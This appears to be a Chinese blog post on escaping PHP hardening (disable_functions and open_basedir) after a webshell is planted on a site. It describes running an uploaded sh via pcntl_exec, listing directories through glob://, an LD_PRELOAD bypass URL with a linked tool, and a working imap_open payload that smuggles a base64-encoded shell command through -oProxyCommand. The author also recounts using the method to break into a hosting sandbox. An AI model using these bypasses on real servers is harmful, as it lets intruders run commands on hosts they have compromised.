常用绕过 Disable_Function和open_basedir的方法
简介
思路很老,遇到一个站,shell上去但是basedir导致不能跨目录,正好就写一下吧
其实绕过basedir就俩个思路
- 通过执行命令去绕过
因为open_basedir只是针对php的一些函数,让这些函数不能超出basedir设置的路径范围,但是在执行的命令并不受限制。 - 绕过basedir沙盒
这个就比较复杂,需要使用到一些php的漏洞,比如我曾经在乌云上发过一些不受basedir限制的函数,比如stats啥的,因为basedir只是针对php函数的,如果在php内核里面对函数定义的时候并没有判断basedir就导致了bypass,这是常用也是最好用的就是php的glob://内置协议,通过glob可以遍历目录,在配合DirectoryIterator类读取,可以达到绕过basedir列目录的效果,但是对于读文件目前为止并没有一个好的方法。
测试
pcntl
环境
disable_functions
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,
proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,
readlink,symlink,popepassthru,stream_socket_server
open_basedir
/opt/wwwroot/webroot/webroot/:/tmp/:/proc/:/opt/wwwroot/webroot2/
开启了
enable-pcntl
因为有basedir控制了目录,所以直接用pcntl_exec去执行webshell并不可行,因为如果你去调用/bin/sh因为basedir原因导致不可执行,我们只需要上传一个同版本(64|32)的sh上去并给予执行权限即可
关于open_basedir的bypass其实有很多更详细的文章就不一一赘述了,提供一个fd写的脚本,14年的时候我也用这个方法绕了saeapp的php沙盒,把架设在上面的乌云打了
imap
usage
<?php
# CRLF (c)
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
LD_PRELOAD
usage
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
相关资料
pcntl_exec_webshell
bypass_open_basedir
SAE沙盒绕过&路过Wooyun高校版
PHP某鸡肋open_basedir绕过
PHP某鸡肋open_basedir绕过2